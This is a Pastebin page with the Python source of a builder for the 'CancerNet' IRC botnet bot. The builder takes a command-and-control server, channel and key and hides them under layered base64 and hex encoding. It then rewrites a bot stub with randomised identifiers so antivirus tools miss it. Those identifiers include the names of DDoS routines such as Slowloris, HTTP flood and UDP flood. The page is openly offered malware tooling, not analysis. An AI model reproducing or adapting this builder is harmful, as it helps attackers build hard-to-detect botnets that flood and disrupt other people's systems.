Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #-------------------------------------------------------------------------------
- # Name: CancerNet IRC bot V6
- # Purpose: IRC Bot for botnet
- # Notes: (polymorphic) (nearly impossible to remove without system
- # analysis and creation of a tool)
- #
- # Author: Freak/SynthMesc @ PopulusControl
- #
- # Created: 15/01/2015
- # Copyright: (c) Freak 2015
- # Licence: GPLv3
- # This program is free software: you can redistribute it and/or modify
- # it under the terms of the GNU General Public License as published by
- # the Free Software Foundation, either version 3 of the License, or
- # (at your option) any later version.
- #
- # This program is distributed in the hope that it will be useful,
- # but WITHOUT ANY WARRANTY; without even the implied warranty of
- # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- # GNU General Public License for more details.
- #
- # You should have received a copy of the GNU General Public License
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
- #-------------------------------------------------------------------------------
- #!/usr/bin/python
- import base64
- from time import sleep
- from random import choice,randrange
- from string import letters
- class Builder():
- def __init__(self):
- self.colours={"blue": "", "green": "", "white": "", "red": "", "yellow": ""}
- print "%s##################################" % self.colours['green']
- print "# %sCancerNet%s Polymorphic IRC Bot #" % (self.colours['red'],self.colours['green'])
- print "# By %sSynthMesc%s || Populus Control #" % (self.colours['yellow'],self.colours['green'])
- print "##################################"
- print
- print "######################"
- self.server = raw_input("# %sIRC Server:%s " % (self.colours['blue'],self.colours['green']))
- print "######################"
- print
- print "#############"
- self.channel = raw_input("# %sChannel:%s " % (self.colours['yellow'],self.colours['green']))
- self.password = raw_input("# %sChannel key:%s " % (self.colours['red'],self.colours['green']))
- self.output = raw_input("# %sOutput File:%s " % (self.colours['white'],self.colours['green']))
- print "#############"
- print
- print "%s[+]%s Build starting!" % (self.colours['blue'],self.colours['green'])
- self.build()
- def encode(self,data):
- enddata=base64.b64encode(data)
- enddata=enddata.encode('hex')
- enddata=base64.b64encode(enddata)
- enddata=enddata.encode('hex')
- enddata=enddata.encode('hex')
- return enddata
- def randStr(self,_n_):
- return ''.join(choice(letters) for _tmp_ in range(_n_))
- def build(self):
- print "%s[+]%s Encoding variables..." % (self.colours['blue'],self.colours['green'])
- self.server=self.encode(self.server)
- self.channel=self.encode(self.channel)
- self.password=self.encode(self.password)
- sleep(0.1)
- print "%s[+]%s Configuring stub..." % (self.colours['blue'],self.colours['green'])
- f1=open('CancerNet.py','r')
- fdata=f1.read()
- f1.close()
- fdata=fdata.replace("[SERVERHERE]",self.server)
- fdata=fdata.replace("[CHANNELHERE]",self.channel)
- fdata=fdata.replace("[PASSWORDHERE]",self.password)
- fdata=fdata.replace("[RANDOMNUMBERHERE]",str(randrange(20,40)))
- sleep(0.2)
- print "%s[+]%s Writing to stub..." % (self.colours['blue'],self.colours['green'])
- f2=open(self.output,'w')
- f2.write(fdata)
- f2.close()
- sleep(1)
- print "%s[+]%s Running polymorph engine on stub for the first time..." % (self.colours['blue'],self.colours['green'])
- sleep(0.1)
- f1=open(self.output,"r")
- buffer_=f1.read()
- f1.close()
- keywords=['LdkDvEjz', 'squdbhNF', 'squdbhNF', 'pJRtMXnr', 'krZuqOoS', 'djHsNKTC', 'MTCLjCqS', 'wwoHYcGX', 'WEDZgaKC', 'ZyUfnKmY', 'lzvJGQhK', 'uVcgrMdB', 'eLdpmooV', 'lwADeiuo', 'ksTdhuPd', 'qHXlKBTz', 'ZoyaERuG', 'nNCRXcyX', 'cvECZTOr', 'tPRXIETg', 'qoSYrsXg', 'kXiTsmAM', 'cOCaBrUO', 'UvSLWvAL', 'dFcQEbBo', 'trbOkDUX', 'upKurXmE', 'oWLdHNqx', 'mbaHoFcq', 'wqwOsYys', 'mbaHoFcq', 'pJfokfFb', 'HTdNRlTI', 'BuHzRnte', 'IhfIsqFG', 'SkPfqvVb', 'NeZktZqq', 'PDZDyIcr', 'cXVlBQPo', 'SQrrWUOl', 'iYGvSVSV', 'NqTdiWqy', 'AFrYBRhx', 'vfEjUri', 'NYawcQJk', 'rjsmgsgB', 'TQoQoTBw', 'YqvrmAfa', 'kQUqgxxv', 'aZhKIvaK', 'VOUZIdZn', 'nATvCwXH', 'bVfrYZOb', 'utfvVkYv', 'DATSulcH', 'NQrbUKHk', 'aQvbntXQ', 'txMeqlni', 'fjuThODd', 'DKjxyXtL', 'VWSgiNKV', 'GukfgoOr', 'uLRsefIV', 'llemeLCF', 'zTzQlGDR', 'FgBgausc', 'fWAffhSo', 'evqaobDM', 'JMSdYsiE', 'JtoyJZkp', 'SZwEyAvn', 'bXivjwVX', 'UQGWeDdr', 'FgBgausc', 'CyKuZgmu', 'Slowloris', 'HTTPFlood', 'UDPFood', 'attackPort', 'Target', 'endtime', 'fds', 'fd', 'Packets', 'attackPort', 'attackTime', 'udpmbs', 'udpmb', 'udpsock', 'Porty', 'Antis', 'Anti', 'Result', 'iteration', 'byte', 'httppacket', 'packetSize', 'useragents']
- for keyword in keywords:
- buffer_=buffer_.replace(keyword,self.randStr(randrange(5,10)))
- f2=open(self.output,"w")
- f2.write(buffer_)
- f2.close()
- print "%s[+]%s Done! Your stub is now ready!" % (self.colours['blue'],self.colours['green'])
- try:
- Builder()
- except:
- sleep(600)
Advertisement
Add Comment
Please, Sign In to add comment